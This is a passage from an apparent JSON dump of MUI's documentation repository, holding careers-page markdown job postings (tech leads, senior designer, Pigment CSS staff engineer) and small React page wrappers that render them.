compensation\n\nWe offer competitive compensation commensurate with your experience level and location and are prepared to pay top market rates for someone who can clearly exceed the role's expectations. You can find the other perks and benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/77584e4c-9379-45f3-a294-6e50bf250383/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/react-tech-lead-core.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from 'docs/pages/careers/react-tech-lead-core.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/careers/react-tech-lead-core.md",
    "content": "# React Tech Lead — Core (future role)\n\n<p class=\"description\">You will lead the development of the core libraries, helping to position them as the industry standard for design system teams.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC6 or above](https://mui-org.notion.site/Engineering-levels-25b2fba9dd1f4b43a1b28f47f0170f23).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nThe core components team (MUI Core) needs help.\nThey are working on 4 products (Material UI, Base UI, Joy UI, and MUI System) with a tiny team.\n\nWe also need help to continue to improve the health of the open-source product: make the core components easier to use, increase the contributions by engaging and collaborating with the community, polish all the details, make the components more accessible, guide developers to answers, and just generally be a positive presence in the open-source community.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n### Why this is interesting\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\nThe core components are widely used, you will receive a lot of feedback on your work. The community has high expectations, they will push you to do better, every day.\nThe [results of the latest survey](https://mui.com/blog/2021-developer-survey-results/) can give you a great sense of where we will need to push the open-source library in the coming months.\n\n## The role\n\n### Key responsibilities\n\nYou will extend the [React Engineer](https://mui-org.notion.site/Software-Engineer-fe310cfb22e34fc7881318f9cb1cf023#5f2967e6c60d411ea09ab8a108d95702) responsibilities. Depending on the day, you'll:\n\n- **Lead**. You will lead by inspiring and setting the bar for code quality for the engineering team, and cracking the hard problems:\n  - Guide the approach and execution.\n  - Guide people in making the right technical decisions themselves over imposing them.\n  - Be aware of the current technical landscape and knows where the wind blows.\n- **Nurture community contributions**. You will provide guidance and direction to unlock the contributions of the community. Your time will often be way better spent doing this than fixing the problems yourself.\n- **Shape the product**. You will be laser-focused on the end goal. It's not about solving technical challenges but about the problems solved for the users.\n- **Enable quality work**. You will:\n  - Embody and foster the engineering culture, for example rigorousness, push for small single-purpose PRs, encourage peer reviews, create strong feedback loops between decision and outcome.\n  - Empower the team to aim for high-quality outputs. By doing such it aims for the success of delivered solutions.\n  - Push for consistency, follow what's going on in the other teams.\n- **Keep technical debt in check**. You will make sure we can keep shipping features at a reasonable pace, align the team on \"one way\" of doing things and make sure engineers follow the conventions.\n- **Be a solver**. You will dig deep into arbitrarily complex problems and find an appropriate path forward. Some focus on a given area for long periods, others bounce from hotspot to hotspot as guided by organizational leadership.\n\n### The best parts of this job\n\n- **You'll be at the cutting edge of application development** — working on one of the fastest-growing UI libraries on the market.\n- **You'll be part of an active, open, friendly community** of developers that are excited about building awesome applications.\n- **Your role will be key to making MUI the go-to UI solution** for building applications, websites, and design systems with React.\n\n### The worst parts of this job\n\n- **Shifting context.**\n  You will necessarily have to shift context and dive into a different feature before the current one is done.\n  It may even be in an area of the codebase you're unfamiliar with or don't have a ton of understanding about.\n  It's fun, rewarding work, but it can be very challenging.\n- **We move quickly but don't sacrifice quality**.\n  We ship early, often, and quickly. You may not be initially comfortable with the cadence with which we ship high-quality features and improvements to end-users. By doing so, we sacrifice on solving each problem 100% in exchange for fast feedback. Solving 50-70% of the issue with quality should be enough for any given iteration. Our users quickly tell us when we haven't pushed a solution far enough.\n- **MUI has a large codebase**. You may bang your head against the wall at times, and then write tests to assist future you 😌.\n  The work you will be doing is somewhat unique and idiosyncratic. You probably have not had a similar role before.\n- **In open-source, you're faced with a nonstop stream of bug reports and support requests**. That means you need to develop an intuition for when to ignore something, and when to dig in further.\n\n## Who we're looking for\n\nWe're looking for someone with strong front-end skills. More important than specific technical skills though is that you're a strong problem solver who loves to learn. Details matter to you.\n\n### Required\n\n- **Expertise in the modern JavaScript ecosystem**.\n  MUI's open-source projects are built on the shoulders of giants, making use of technologies such as ES2021, TypeScript, Node.js, React, Next.js, webpack, and Babel.\n- **A track record of demonstrating an eye for product and solving real-world user problems**. If you have a knack for solving problems at the root cause, shipping beautiful user interfaces and intuitive APIs, we want you on our team.\n- **Experience building and shipping production code in a team setting** with a passion for writing tested, performant, and high-quality code.\n- **Strong written and verbal communication skills**.\n  As part of the team, you'll interface both directly and indirectly with community members and enterprise customers, and contribute to user documentation. Clear communication is fundamental in creating intuitive and compelling resources.\n- **Ability to dive into complex problems**.\n  You should be able to quickly assess, understand, and iterate upon aspects of our codebase.\n- **Ready and willing to ask and answer questions**.\n  If you're comfortable saying you're unsure, asking for help; but equally reaching out to assist others, you'll be an incredible addition to our team. We thrive because of continuous learning. First-time mistakes should be celebrated, not blamed.\n- **Avoid monolithic deliverables**.\n  You scope and stage your work into well-defined milestones to ship.\n- **Past work with front-end infrastructure**.\n  Perhaps you've created your company's design system, written a Babel plugin, or written complex React components.\n  It would be great if you could address this in your cover letter!\n- **You've contributed to a design system before**.\n  You have worked on enterprise components in the past, maybe for internal use in your company.\n  You have built complex and advanced features while making sure the accessibility was fully functional.\n\n### Nice to have (but not required)\n\n- **You've maintained an active repository before**.\n  Maybe you've helped maintain a popular open-source repository, or perhaps you've worked on internal repositories that saw contributions from multiple teams.\n  Previous experience with highly active repository workflows is a definite plus for this role.\n- **You have contributed code**. A history of contributing to MUI's open-source projects is a plus.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/73e07586-d3aa-43b3-bfef-8eec52884e2a/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/react-tech-lead-x-grid.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from 'docs/pages/careers/react-tech-lead-x-grid.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/careers/react-tech-lead-x-grid.md",
    "content": "# React Tech Lead — xGrid\n\n<p class=\"description\">You will lead the development of the MUI X Data Grid, positioning the component as the next industry standard.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC6 or above](https://mui-org.notion.site/Engineering-levels-25b2fba9dd1f4b43a1b28f47f0170f23).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nThe data grid team (part of MUI X) needs your help.\nThe component is off [a great start](https://npm-stat.com/charts.html?package=%40mui%2Fx-data-grid&package=react-table&package=ag-grid-community&from=2021-06-01), however we have only started to scratch the surface for the potential of this component. There is x10 more to build.\nWe need to:\n\n- build an headless version for Base UI.\n- build advanced, in browsers, data analysis features like pivoting and charts integration.\n- build a strong integration with backend APIs, for example to handle >100M rows.\n\nWe also need help to continue to make the components easier to use, make it more customizable, [improve performance](https://www.causal.app/blog/react-perf), make it more accessible, improve the health of the open-source by engaging and collaborating with the community, guide developers to answers, and just generally being a positive presence in the community.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n## The role\n\n### Why this is interesting\n\nThe advanced components portfolio is still small, with a million interesting and challenging problems to solve.\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\n### Key responsibilities\n\nYou will extend the [React Engineer](https://mui-org.notion.site/Software-Engineer-fe310cfb22e34fc7881318f9cb1cf023#5f2967e6c60d411ea09ab8a108d95702) responsibilities. Depending on the day, you'll:\n\n- **Lead**. You will lead by inspiring and setting the bar for code quality for the engineering team, and cracking the hard problems:\n  - Guide the approach and execution.\n  - Guide people in making the right technical decisions themselves over imposing them.\n  - Be aware of the current technical landscape and knows where the wind blows.\n- **Nurture community contributions**. You will provide guidance and direction to unlock the contributions of the community. Your time will often be way better spent doing this than fixing the problems yourself.\n- **Shape the product**. You will be laser-focused on the end goal. It's not about solving technical challenges but about the problems solved for the users.\n- **Enable quality work**. You will:\n  - Embody and foster the engineering culture, for example rigorousness, push for small single-purpose PRs, encourage peer reviews, create strong feedback loops between decision and outcome.\n  - Empower the team to aim for high-quality outputs. By doing such it aims for the success of delivered solutions.\n  - Push for consistency, follow what's going on in the other teams.\n- **Keep technical debt in check**. You will make sure we can keep shipping features at a reasonable pace, align the team on \"one way\" of doing things and make sure engineers follow the conventions.\n- **Be a solver**. You will dig deep into arbitrarily complex problems and find an appropriate path forward. Some focus on a given area for long periods, others bounce from hotspot to hotspot as guided by organizational leadership.\n\n### The best parts of this job\n\n- **You'll be at the cutting edge of application development** — working on one of the fastest-growing UI libraries on the market.\n- **You'll be part of an active, open, friendly community** of developers that are excited about building awesome applications.\n- **Your role will be key to making MUI the go-to UI solution** for building applications, websites, and design systems with React.\n\n### The worst parts of this job\n\n- **Shifting context.**\n  You will necessarily have to shift context and dive into a different feature before the current one is done.\n  It may even be in an area of the codebase you're unfamiliar with or don't have a ton of understanding about.\n  It's fun, rewarding work, but it can be very challenging.\n- **We move quickly, but don't sacrifice quality**.\n  We ship early, often, and quickly. You may not be initially comfortable with the cadence with which we ship high-quality features and improvements to end-users. By doing so, we sacrifice on solving each problem 100% in exchange for fast feedback. Solving 50-70% of the issue with quality should be enough for any given iteration. Our users quickly tell us when we haven't pushed a solution far enough.\n- **MUI has a large codebase**. You may bang your head against the wall at times, and then write tests to assist future you 😌.\n  The work you will be doing is somewhat unique and idiosyncratic. You probably have not had a similar role before.\n- **In open-source, you're faced with a nonstop stream of bug reports and support requests**. That means you need to develop an intuition for when to ignore something, and when to dig in further.\n\n## Who we're looking for\n\nWe're looking for someone with strong front-end skills. More important than specific technical skills though is that you're a strong problem solver who loves to learn. Details matter to you.\n\n### Required\n\n- **Expertise in the modern JavaScript ecosystem**.\n  MUI's open-source projects are built on the shoulders of giants, making use of technologies such as ES2021, TypeScript, Node.js, React, Next.js, webpack, and Babel.\n- **A track record of demonstrating an eye for product and solving real-world user problems**. If you have a knack for solving problems at the root cause, shipping beautiful user interfaces and intuitive APIs, we want you on our team.\n- **Experience building and shipping production code in a team setting** with a passion for writing tested, performant, and high-quality code.\n- **Strong written and verbal communication skills**.\n  As part of the team, you'll interface both directly and indirectly with community members and enterprise customers, and contribute to user documentation. Clear communication is fundamental in creating intuitive and compelling resources.\n- **Ability to dive into complex problems**.\n  You should be able to quickly assess, understand, and iterate upon aspects of our codebase.\n- **Ready and willing to ask and answer questions**.\n  If you're comfortable saying you're unsure, asking for help; but equally reaching out to assist others, you'll be an incredible addition to our team. We thrive because of continuous learning. First-time mistakes should be celebrated, not blamed.\n- **Avoid monolithic deliverables**.\n  You scope and stage your work into well-defined milestones to ship.\n- **Past work with front-end infrastructure**.\n  Perhaps you've created your company's design system, written a Babel plugin, or written complex React components.\n  It would be great if you could address this in your cover letter!\n\n### Nice to have (but not required)\n\n- **You've contributed to a design system before**.\n  You have worked on enterprise components in the past, maybe for internal use in your company.\n  You have built complex and advanced features while making sure the accessibility was fully functional.\n- **You've maintained an active repository before**.\n  Maybe you've helped maintain a popular open-source repository, or perhaps you've worked on internal repositories that saw contributions from multiple teams.\n  Previous experience with highly active repository workflows is a definite plus for this role.\n- **You have contributed code**. A history of contributing to MUI's open-source projects is a plus.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/dffc8ead-fab1-4a07-8b44-a932e2838e0e/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/senior-designer.md",
    "content": "# Senior Designer\n\n<p class=\"description\">You will be responsible for pushing MUI's component design bar higher.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC3 or above](https://mui-org.notion.site/Design-levels-aa01996ca7e0481e80479ad47c8f28a4).\n- We're a **remote** company, operating mostly asynchronously (written communication over meetings).\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nWe are aiming to make high-end design accessible to the many, empowering developers that lack access to a designer as well as saving time for designers with a source they can trust.\n[According to our last survey](https://mui.com/blog/2021-developer-survey-results/#what-are-your-most-important-criteria-for-choosing-a-ui-library), the quality of the design execution (UX & UI) is the most important criteria used by developers & designers to pick their next UI library.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n### Why this is interesting\n\nOur products empower React developers to build amazing applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\nHowever, despite Material UI – our biggest library – being [the leading](https://tsh.io/state-of-frontend/#over-the-past-year-which-of-the-following-design-systems-was-your-favorite-go-to-solution) UI design system in the frontend space, its adoption is only at 25%.\nMore importantly, our challenges go way beyond the ones of design systems.\n\nWe envision a future where MUI becomes the default toolkit for web developers to create UIs.\nIt's why we've been expanding our offering with Base UI.\nDesign is foundational to achieving this goal.\n\n## The role\n\nDesigners at MUI are essentially _team leaders_.\nThat means you'll be working closely with your engineering lead counterpart to shape work and scope targeting a set of problems revolving around our component area, either on MUI Core or MUI X (to be further defined).\n\nAs our [design philosophy](https://mui-org.notion.site/Design-philosophy-bdbef60d6fad4134a43870df3e452ebc) states, you'll be conducting and guiding the whole team, making sure everything we do is adding a special design spice that only you can add.\nWe imagine a world where design execution is a definitive product differentiator.\n\n### What you'll do in your first month\n\n- Understand how your role fits into the organization and get acquainted with team members and processes\n- Learn about MUI's products, business, goals, and how users experience the MUI ecosystem\n- Make your first contribution to either MUI Core or MUI X on an approachable, simple problem\n\n### What you'll do in your first 3 months\n\n- Conduct one-on-one user interviews with community members\n- Review and give feedback to work from other designers on the team\n- Understand the MUI Core and MUI X library patterns to improve existing components' UX & UI\n- Open your first PR improving documentation or demos\n\n### What you'll do in your first 6 months\n\n- Design a new component for one of the MUI Core libraries from scratch in partnership with a developer\n- Design new templates for either Joy UI or Material UI and support their implementation\n- Review new Figma Design Kit versions and coordinate their next release\n\n### What you'll have done in your first year\n\nAside from all of the above, by the time you complete your first year, you should be able to:\n\n- Proactively identify improvement opportunities across MUI's ecosystem\n- Help your team structure and follow a plan to tackle user pain points that you help to discover\n- Foster an even more design-oriented, user-centered culture at MUI\n- Contribute in a code capacity more confidently, with the ability to tweak and improve your own designs\n\n## Who we're looking for\n\nIf you get excited by thinking about design systems, high-level of craftsmanship, accessible components, and joyful experiences, then we're looking for you!\n\nWe're looking for designers who are generalists, meaning they can navigate from very high-level product strategy discussions to low-level implementation work.\n\nAs a company that develops code-based products, it's important that you have a grasp of development to be effective.\nConcretely, that means you can at least picture how a given CSS snippet looks like just by reading it.\nBeing able to contribute to the codebase yourself, open pull requests, and improve documentation or components is very valuable.\n\nWe strongly believe designers should code to ensure the level of detail they've wished for is really being implemented.\nSo, if you're this designer, either already able to code or growing in this direction, we're looking for you.\n\n### Other skills you should have\n\n- **Excellent written and verbal communication skills.** You will communicate both in writing and verbally with our globally-distributed team, community members, and enterprise customers. English is the primary language we interact in.\n- **Experience building and evaluating UI/UX.** You can design attractive UIs with well-thought-out interaction patterns that solve practical user problems.\n- **Design systems experience.** You have previously worked on or contributed to the creation of a design system. You are meticulous about component APIs, standards, and organization.\n- **Relative development autonomy.** Ability to read HTML/JSX and CSS is a requirement. Being able to code and contribute to the codebase would be a significant advantage, but isn't required for the role.\n\n### It would be nice if you had but it isn't required\n\n- **Past experience with open-source projects.** You understand the unique dynamics of products in an open-source environment as well as common challenges that arise.\n\n## Benefits and compensation\n\nWe are ready to pay competitive, top market rates, for a person that can clearly exceed the role's expectations.\nTherefore, we consider profile and location.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## Interview steps\n\nHere's a brief overview of how this role's process will be carried through:\n\n- **Introduction call** (20 to 25 min): A short call to quickly introduce each other.\n- **Career deep dive** (40 to 60 min ⎯ with a designer): We'll go through your career a bit more in-depth and will be interested in understanding your trajectory up to the point where you've applied to this role.\n- **Comparable experience review** (40 to 60 min ⎯ with a designer, product manager or tech lead): We'll deep dive into a presentation of relevant past experiences to understand your approach to problem-solving and design.\n- **Conversation with the CEO** (60 min): A quick call so you get to know each other, and talk about vision, future, history, etc.\n\nWe like to encourage candidates to also see all of these conversations as opportunities for you to interview us as well.\nIt's highly encouraged to bring whatever questions you see fit to make sure we are also a great role for you.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/4ea9d324-3350-48d5-bfab-706ebfc23ed2/application?utm_source=ZNRrPGBkqO)\n\nDon't tick every bullet? **Apply anyway!** Research shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you. We'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/staff-engineer-pigment-css.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from 'docs/pages/careers/staff-engineer-pigment-css.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/careers/staff-engineer-pigment-css.md",
    "content": "# Staff Engineer — Pigment CSS\n\n<p class=\"description\">You will research, document, and help build our next-gen zero-runtime CSS-in-JS library, with a focus on performance and great developer experience.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC5 or above](https://mui-org.notion.site/Engineering-levels-25b2fba9dd1f4b43a1b28f47f0170f23).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Pigment CSS is a zero-runtime CSS-in-JS styling engine.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nWe believe CSS-in-JS is the best styling API with the best developer experience for writing CSS.\nWe've used it in Material UI since v1 (back then, with JSS, and currently with Emotion in v5).\nHowever, there are key challenges we need to overcome to keep using this stack: improving performance and compatibility with React 19 features, including React Server Components.\nThat's why, about a year ago, we started to work on Pigment CSS!\nWe recently released an early alpha version, [introduced at React Conf 2024](https://mui.com/blog/introducing-pigment-css/), for which we're seeing [early positive adoption](https://npm-stat.com/charts.html?package=@stylexjs/stylex,@pigment-css/react) and [some community validation](https://x.com/JoshWComeau/status/1767224693575053692).\n\nThis is just the beginning, though.\nThere's so much to do to make Pigment CSS a reliable and mature option for the future of Material UI and for many developers looking for a next-generation CSS-in-JS styling engine.\nWe're well-positioned to make this happen, so we're looking for a talented engineer to join the team and help us get further beyond!\n\n### Why this is interesting\n\nIf the team is successful, we believe that over 1/3 of the JavaScript community would use Pigment CSS to style their application, making the mission both extremely challenging and impactful.\n\n## The role\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- **Build**. You will help Pigment CSS mature by integrating it with various bundlers and frameworks, building new features, and improving DX.\n- **Nurture community contributions**. You will provide guidance and direction to unlock the contributions of the community.\n- **Influence the product strategy.** You will be empowered to help design and shape a roadmap that solves real developer problems.\n- **Keep technical debt in check**. You will ensure we can keep shipping features at a reasonable pace while aligning the team on \"the right way\" of doing things.\n- **Be a solver**. You will dig deep into arbitrarily complex problems and find an appropriate path forward. Some focus on a given area for long periods, others bounce from hotspot to hotspot as guided by organizational leadership.\n\n### The best parts of this job\n\n- **You'll be at the cutting edge of application development** working on one of the fastest-growing CSS-in-JS libraries on the market.\n- **You'll be part of an active, open, friendly community** of developers who are excited about building awesome applications.\n- **Your role will be key to making MUI's libraries the go-to UI solutions** for building applications, websites, and design systems that do not have to trade performance for a great developer experience.\n\n### The worst parts of this job\n\n- **Shifting context.**\n  You will necessarily have to shift context and dive into a different feature before the current one is done.\n  It may even be in an area of the codebase you're unfamiliar with or don't have a ton of understanding about.\n  It's fun, rewarding work, but it can be very challenging.\n- **We move quickly but don't sacrifice quality**.\n  We ship early, often, and quickly. You may not be initially comfortable with the cadence with which we ship high-quality features and improvements to end-users. By doing so, we sacrifice solving each problem 100% in exchange for fast feedback. Solving 50-70% of the issue is often enough. Our users quickly tell us when we haven't pushed it far enough.\n- **MUI has large codebases**. You may bang your head against the wall at times and then write tests to assist future you.\n  The work you will be doing is somewhat unique and idiosyncratic. You probably have not had a similar role before.\n- **In open-source, you're faced with a nonstop stream of bug reports and support requests**. That means you need to develop an intuition for when to ignore something and when to dig in further.\n\n## Who we're looking for\n\nWe're looking for someone with strong core JavaScript skills. More important than specific technical skills, though, is that you're a strong problem solver who loves to learn. Details matter to you.\n\n### Required\n\n- **Expertise in the modern JavaScript ecosystem**.\n  You'll use technologies such as TypeScript, Node.js, Babel, Rust, or SWC. We'd appreciate it if you've already written a Babel plugin or something similar.\n- **A track record of solving real-world user problems**. If you have a knack for solving problems at the root cause and shipping beautiful user interfaces with intuitive APIs, we want you on our team.\n- **Strong written and verbal communication skills**.\n  As part of the team, you'll interface directly and indirectly with community members and enterprise customers, as well as contribute to internal and external documentation.\n- **Ability to dive into complex problems**.\n  You should be able to quickly assess, understand, and iterate upon aspects of our codebase.\n- **Willingness to ask and answer questions**.\n  You're comfortable saying you're unsure and asking for help. You'll also reach out to assist others. We thrive through continuous learning—first-time mistakes are celebrated, not blamed.\n- **Leadership skills**.\n  You will guide and mentor contributors, steering the community in the right direction.\n\n### Nice to have (but not required)\n\n- **You've maintained an active repository before**, regardless of whether it was open-source or private, that saw contributions from multiple teams.\n- **You've contributed to a CSS-in-JS library** in the past.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/c1a372c0-7ea0-4edf-b317-5327431b14aa/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/staff-ui-engineer-base-ui.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from 'docs/pages/careers/staff-ui-engineer-base-ui.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/careers/staff-ui-engineer-base-ui.md",
